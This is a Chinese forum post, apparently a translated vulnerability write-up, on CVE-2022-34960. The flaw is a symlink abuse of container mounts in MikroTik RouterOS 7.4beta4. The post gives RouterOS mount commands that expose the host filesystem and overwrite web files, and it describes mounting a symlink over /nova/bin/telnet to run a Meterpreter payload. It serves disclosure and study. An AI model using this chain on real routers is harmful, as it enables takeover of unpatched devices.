首页
社区
课程
招聘
符号链接作为挂载门户:滥用 MikroTik 的 RouterOS 上的容器挂载点来获取代码执行
发表于: 2023-10-24 16:04 11686

符号链接作为挂载门户:滥用 MikroTik 的 RouterOS 上的容器挂载点来获取代码执行

2023-10-24 16:04
11686

道德黑客和网络安全专业人士,对硬件黑客、物联网和 Linux/GNU 特别感兴趣。

RouterOS 版本 7.4beta4 为 MikroTik 设备引入了容器。该特性支持ARM、ARM64 和 x86 架构。但是这个版本的容器中存在一个安全漏洞(CVE-2022-34960),该漏洞可能允许攻击者在主机设备上执行恶意代码。据报道,该漏洞影响了超过90万个设备。

MikroTik 文档表明可以在主机和容器之间创建挂载点。例如,etc文件夹下的disk1被挂载到/etc/pihole容器中:

这个特性造成了三个相当危险的特定行为。

例如,让我们采用以下目录结构:

即使dir2是链接指向dir1的一个符号,但在disk1/dir2/file1上添加挂载点仍然是有效的,这意味着在文件挂载之前可以通过dir2解析到dir1

假设我的容器的根文件系统存储在disk1/alpine中, 我们在容器内执行以下操作:

那么在容器内,根目录将按/rootfs解析。如果在 RouterOS 中设置容器时将此目录用作挂载源,符号链接则将根据设备自己的文件系统进行解析。

例如,我将在容器/mnt目录中挂载主机文件系统:

然后,从创建的容器内部就可以访问主机的根文件系统:

虽然可以读取文件权限,但大多数文件系统都是只读的,无法写入。

实际上,通过在参数中为rootfs使用符号链接,dst可以将任意目录或文件从任何位置(甚至从容器内部)挂载到主机文件系统上的任何位置。

例如,我们创建一个挂载点,将容器内部的文件挂载到 webfig 目录,有效地“覆盖”现有的robots.txt

然后,在第三台机器上,我们使用以下命令验证它是否被覆盖curl

Mount-what-where 是一个非常强大的原语。运行任意代码应该相对容易 - 只需挂载系统上预先存在的某些时候由设备执行的可执行文件。

但是,从/proc/mounts来看,由于挂载点的创建方式,这种方法不起作用:

挂载点是使用nosuidnodev和最重要的noexec选项创建的。这意味着即使您要挂载现有的二进制文件,它也不会被执行,而是每次都会失败并显示“Permission denied”。so共享库同样如此,因此挂载在.so文件上也是不可能的。

同时也没有发现任何允许运行代码的配置文件,这就是符号链接再次发挥作用的地方。

通过测试,如果一个文件系统上存在noexec属性的链接指向文件系统上有执行权限的二进制文件,那么该文件仍将被执行:

假设恶意程序可以从某个没有noexec标志的挂载点访问,我们就可以简单地将符号链接挂载到指向我们要运行的恶意二进制文件上。通过查看/proc/mounts,我们可以看到容器自己的根文件系统实际上没有noexec标志(否则将无法在容器内运行可执行文件):

这就是发起成功攻击所需的mount操作。我们可以用msfvenom生成一个攻击payload:

将它复制到容器中,并创建一个指向其可执行挂载点位置的符号链接:

由于telnet的优先级相对较低且易于触发和调试,我们将其作为目标二进制文件,再在 RouterOS 中创建挂载点:

启动容器后,二进制文件/nova/bin/telnet被挂载,而且已经是一个指向我们恶意二进制文件的符号链接:

正如预期的那样,在/system/telnet 127.0.0.1设备上运行后,我们在 Meterpreter 监听器中建立了连接:

这意味着我们可以在设备上成功执行任意代码。

该问题已在 RouterOS 版本 7.4beta5、7.4、7.5beta1 及更高版本中得到修复。

/container/mounts/add name=etc_pihole src=disk1/etc dst=/etc/pihole
/container/mounts/add name=etc_pihole src=disk1/etc dst=/etc/pihole
disk1/
├── dir1
│ ├── file1
│ └── file2
└── dir2/ --(symbolic link)--> dir1/
disk1/
├── dir1
│ ├── file1
│ └── file2
└── dir2/ --(symbolic link)--> dir1/
# ln -s / /rootfs
# ln -s / /rootfs
/container/mounts/add name=rootfs src=/disk1/alpine/rootfs dst=/mnt
/container/mounts/add name=rootfs src=/disk1/alpine/rootfs dst=/mnt
# ls -l /mnt
total 0
drwxr-xr-x    2 nobody   nobody         149 Jun 15 11:38 bin
drwxr-xr-x    9 nobody   nobody         131 Jun 15 11:38 bndl
drwxr-xr-x    2 nobody   nobody           3 Jun 15 11:38 boot
drwxr-xr-x    2 nobody   nobody           3 Jun 15 11:38 dev
lrwxrwxrwx   1 nobody   nobody          11 Jun 15 11:38 dude -> /flash/dude
drwxr-xr-x    2 nobody   nobody         352 Jun 15 11:38 etc
drwxr-xr-x    2 nobody   nobody           3 Jun 15 11:38 flash
drwxr-xr-x    3 nobody   nobody          26 Jun 15 11:38 home
drwxr-xr-x    3 nobody   nobody         403 Jun 15 11:38 lib
drwxr-xr-x    5 nobody   nobody          73 Jun 15 11:38 nova
lrwxrwxrwx   1 nobody   nobody           9 Jun 15 11:38 pckg -> /ram/pckg
drwxr-xr-x    2 nobody   nobody           3 Jun 15 11:38 proc
drwxr-xr-x    2 nobody   nobody           3 Jun 15 11:38 ram
lrwxrwxrwx   1 nobody   nobody           9 Jun 15 11:38 rw -> /flash/rw
drwxr-xr-x    2 nobody   nobody          45 Jun 15 11:38 sbin
drwxr-xr-x    2 nobody   nobody           3 Jun 15 11:38 sys
lrwxrwxrwx   1 nobody   nobody           7 Jun 15 11:38 tmp -> /rw/tmp
drwxr-xr-x    5 nobody   nobody         111 Jun 15 11:38 var
# ls -l /mnt
total 0
drwxr-xr-x    2 nobody   nobody         149 Jun 15 11:38 bin
drwxr-xr-x    9 nobody   nobody         131 Jun 15 11:38 bndl
drwxr-xr-x    2 nobody   nobody           3 Jun 15 11:38 boot
drwxr-xr-x    2 nobody   nobody           3 Jun 15 11:38 dev
lrwxrwxrwx   1 nobody   nobody          11 Jun 15 11:38 dude -> /flash/dude
drwxr-xr-x    2 nobody   nobody         352 Jun 15 11:38 etc
drwxr-xr-x    2 nobody   nobody           3 Jun 15 11:38 flash
drwxr-xr-x    3 nobody   nobody          26 Jun 15 11:38 home
drwxr-xr-x    3 nobody   nobody         403 Jun 15 11:38 lib
drwxr-xr-x    5 nobody   nobody          73 Jun 15 11:38 nova
lrwxrwxrwx   1 nobody   nobody           9 Jun 15 11:38 pckg -> /ram/pckg
drwxr-xr-x    2 nobody   nobody           3 Jun 15 11:38 proc
drwxr-xr-x    2 nobody   nobody           3 Jun 15 11:38 ram
lrwxrwxrwx   1 nobody   nobody           9 Jun 15 11:38 rw -> /flash/rw
drwxr-xr-x    2 nobody   nobody          45 Jun 15 11:38 sbin
drwxr-xr-x    2 nobody   nobody           3 Jun 15 11:38 sys
lrwxrwxrwx   1 nobody   nobody           7 Jun 15 11:38 tmp -> /rw/tmp
drwxr-xr-x    5 nobody   nobody         111 Jun 15 11:38 var
/container/mounts/add name=robots src=/disk1/alpine/robots.txt
dst=/rootfs/home/web/robots.txt
/container/mounts/add name=robots src=/disk1/alpine/robots.txt
dst=/rootfs/home/web/robots.txt
$ curl router.lan/robots.txt
Hello from inside the container!
$ curl router.lan/robots.txt
Hello from inside the container!

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2023-10-30 14:22 被三六零SRC编辑 ,原因:
收藏
免费 3
支持
分享
最新回复 (1)
雪    币: 3594
活跃值: (31031)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
感谢分享
2023-10-25 16:45
1
游客
登录 | 注册 方可回帖
返回
//